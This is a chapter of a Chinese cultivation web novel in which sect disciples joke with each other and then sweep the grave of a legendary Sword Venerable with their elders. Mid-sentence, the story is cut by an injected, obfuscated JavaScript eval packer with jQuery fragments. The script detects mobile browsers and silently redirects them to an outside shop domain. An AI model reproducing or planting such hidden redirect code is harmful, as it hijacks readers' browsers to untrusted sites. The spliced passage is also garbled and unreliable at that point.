宁岁禾一愣。
修真界只有一个剑尊,明心剑尊。她的剑也就是自己的灵剑飞雪。
但为什么要说“他们”?
“他们”又是谁?
宁岁禾还在发呆,任竹喧已然好奇问道:“怎么之前没去过?”
“不知道啊,”
满关摇摇头,“等下午碰见江夏了问问他,这人消息灵通。”
宁岁禾:“既然如此,江夏去哪了?他不吃饭?”
“别提了。”满关一脸菜色:“有个我们相熟的器修刚炼出一个法器,师兄屁颠屁颠跑过去说要替她试试,谁成想,”
他也不知想到了什么,面色扭曲:“那是个喷火的法器,差点把静室给烧了。柳长老知道后,罚他在藏经阁抄书呢。”
宁岁禾长长地哦了一声,又疑惑道:“怎么在静室里面试法器?”
这是试法器的地方吗?
任竹喧吃干净了最后一粒米,放下筷子,跟宁岁禾解释:“江师兄说,静室试法器,不是成功就是失败。反正就偏要在那试了。”
宁岁禾:“………”
江夏是天和宗亲传第三席,宁岁禾倒是没想到,这人是这么个性格。
聊着聊着,白凌带着一群人路过,故意撞了一下他们的桌子,头也不回地扬长而去。
“诶你这人!”
满关暴脾气地撸起袖子就想跟上去揍他,被宁岁禾叫住。
她淡定地吃了一小颗青菜:“人多不好动手,等晚上。”
-
从天和宗后山下去有一条人为走出来的野径,窄得只容一人通过,两边是密密麻麻的剑竹,落叶盖住了大半路径。
宁岁禾带着两个小尾巴过来时,楚惟已经在这里等着了。
他与宁岁禾对视一眼,看向另外两人:“听说下午你们跟白凌起冲突了?”
满关乖乖摇头:“没有啊,他故意惹我们的。”
任竹喧也跟着一个劲的点头。
楚惟的目光又转向宁岁禾:“这人很难缠,白家也很烦,所以能不招惹就尽量避一避。”
俗话说惹君子不惹小人。楚惟的意思在场的人都明白。
“好。”宁岁禾压下嘴角的笑,应了声。
“下午好啊各位。”
一道声音传来,宁岁禾朝着声音的来源看去。
来者生了一双眼尾微微上扬的桃花眼,不笑的时候也像在笑,眼皮薄薄的折出一道浅浅的双眼皮。脸颊上还带着一点未擦干净的墨迹。
他倒是第一时间看向了宁岁禾,目光斜斜地从睫毛下看过来,有些懒散,却并不显得轻蔑。
但仅仅是几瞬,他似乎是突然意识到这是谁,整个人忽然就站直了些,手从袖子里抽出来,规规矩矩地垂在身侧。
“宁师姐,久仰大名。我是江夏。”
声音也从方才的轻浮变得正经起来,他眉眼弯弯地朝着宁岁禾行礼,“师姐今日怎么得空跟我们一起去后山?”
他突然抬起头,一双漂亮的桃花眼含着笑盯着宁岁禾,“莫不是修炼累了?”
宁岁禾额了一声,还没来得及回话。
“刚好,我给师姐带了一份礼物。”
他快速从芥子袋里抽出一只竹制的毛笔,尾部笔墨未干,“看!宇宙第一狂暴大毛笔!”
宁岁禾:“……”
一只手伸过来截走了那只毛笔,宁岁禾顺着手臂看过去,楚惟捏着笔杆查看了一眼:“藏经阁的笔?”
江夏嘿嘿一笑,挠着脑袋:“苏长老说我今天太刻苦了,赏我的。”
话音刚落,不远处传来了藏经阁苏和长老的怒吼声:“江夏!老娘笔呢!”
众人:“……”
江夏倒是面不改色:“诶,今天天气不错,你看这天多蓝。”
楚惟头疼地摁了摁太阳穴,把笔塞进他怀里:“记得还回去。”
江夏笑眯眯道:“遵命。”
宁岁禾正憋不住笑,却瞧见他朝着自己看过来。
察觉到她在憋笑,江夏眨了眨眼睛。
“好了,别闹了。”
两位长老从剑竹林中走进来,一男一女,男的是护宗大长老温鹤声,也是宁岁禾和楚惟的师尊。
而女子则是传功长老柳时君,亲传中,江夏和任竹喧是她的弟子。
温鹤声扫了一圈几个亲传,笑呵呵道:“今日其他长老都忙,只有我跟你们柳师叔能抽得出空,大家不要介意。”
几人连连摆手说不会。
柳时君明显是知道自家徒弟的性格,过来第一时间给了江夏一个脑袋瓜:“毛笔你拿的?”
江夏震惊:“这也要告状!”
“给你苏师叔快气撅过去了都,”
柳时君看上去也没有生气,带着几人沿剑竹间的小径往下走,“她那毛笔被顺走不少了,好多去藏经阁的弟子顺手就带走了,如今就剩下这一支,还被你故意拿走了,她能不急吗?”
江夏哦了一声,挪到宁岁禾身边:“师姐,你能不能帮我还一下呀?”
宁岁禾做贼似的左右看了看,指着自己:“我?”
“嗯嗯嗯!”
江夏猛点头,“师姐,我跟着藏经阁的长老有过不少恩怨,要是我去还,她肯定要趁机揍我。”
这人到底对苏长老做了什么。
宁岁禾还在犹豫,江夏就已经眨巴着眼睛哀求:“拜托拜托。”
这双眼睛确实漂亮得太有欺骗性,宁岁禾心一软,答应了下来。
温鹤声带头走在前面,拨开弯在路中间的剑竹:“之前通知大家明日午后去剑窟拣选灵剑,大家都知道吧?”
众人乖乖点头。
“每一届亲传挑选灵剑之前,都要来后山扫墓。”
温鹤声见他们都好奇地看过来,不免带上了些许笑意,“山门前的斩霄殿供奉的便是明心剑尊,但她的衣冠冢却是在我们后山。”
这还是长老们第一次在他们这些年轻人面前提起之前的亲传。
剑竹弯着腰,叶子扫过宁岁禾的脸颊,她随意地将其拨开,跨过地上凸起的石头:“那之前的亲传呢?”
温鹤声沉默了片刻。
“基本上都殉道了。”
柳时君接上话茬,“还活着的那些,一半受了伤,在宗门里做些杂活,比如食堂的刘叔,就是一百多年前的亲传。另一半还有余力的,就像我们一样做了宗内的长老。”
任竹喧认真想了想宗门里的长
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17676911|207511||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
辈,忍不住问:“可是,我们在宗门里见到的长辈并不多。”
“是啊。”
温鹤声缓缓吐出一口气,“天和宗教导弟子总以大爱为先,在外游历时遇到什么事情都要上去帮一个忙,可正是因此,也卷入了不少麻烦事,甚至招来了杀身之祸。”
他轻轻摇了摇头:“有时候啊,我还真就希望你们不要那么天真。”
几人你看看我,我看看你,一时之间也不知道该说什么。
最后还是柳时君开口:“师兄嘴上这么说,其实看到弟子们都如同我们教导的那般善良,也还是会欣慰吧。”
温鹤声长叹道:“这些孩子能这样,是宗门之幸,也是世道之悲啊。”
顿了顿,他看向几个亲传:“心怀大爱,坚守正道依旧是你们该去饯行的,但与此同时也要记得,心存善念,亦需手握锋芒;仁心济世,更要先护自身。”
几人认真点头。
沿着小径一路往下,弯弯绕绕,所见只有这些树,草和长满青苔的石头,最后终于能瞧见一片坟地。
让宁岁禾意外的是,这里不止一个坟。稀稀拉拉的土堆坟地长满了野草,坟前立着一个个无字碑。
温鹤声带着众人走到中间的一个坟地旁:“这便是明心剑尊了。”
看着与其他的坟堆并无不同。
众人跟着温鹤声朝着坟地。
江夏率先憋不住问了:“师尊,其他这些都是谁的坟啊?”
柳时君把他的脑袋摁下去:“都是明心剑尊的同门。”
同门?
宁岁禾盯着地上的沙土发愣。
这些书里没说啊,应该不重要?
几人默哀了片刻,温鹤声便开口道:“好了,我们把剑尊的墓打扫一下吧。”
宁岁禾走到一边,弯腰把在土堆里扎根的野草一一扒出来。
“师姐。”
任竹喧也在拔草,拔着拔着就拔到了宁岁禾身边,她好奇地问:“剑尊的同门都有哪些人,你知道吗?”
宁岁禾皱着一张脸:“不知道啊。”
“与剑尊齐名的,有一位符尊。”
楚惟听到了他们的声音,轻声解释,“据说是谢家的老祖宗,那边那个坟就是了。”
他朝着不远处的坟堆努努嘴。
宁岁禾盯着符尊的坟地,抬脚往旁边挪:“谢家啊……”
谢昭不就是谢家的吗?
怪不得是百家之首呢,原来还挂着个符尊的名头。
“那其他人又是——诶呦!”
宁岁禾一脚绊到了土堆里的石子,注意力又一直在游离,瞬间失去平衡,朝着剑尊的坟堆方向就要倒下。
她一瞬间察觉到了好几双射向她的目光。
这可不行!
她要是一头栽进剑尊坟里,自己就算是天纵奇才天和宗扛把子也得被揍个七天七夜!
想到这里,她拼尽全力将自己转了个身,往另一边摔了个狗吃屎。
“呸!”
宁岁禾吐掉嘴里的泥土,绝望地发现,自己趴在了另一座坟上。
“…………”
她讪讪回头,盯着两位长老杀人的目光,赔笑道:“我给这位老人家磕个头。”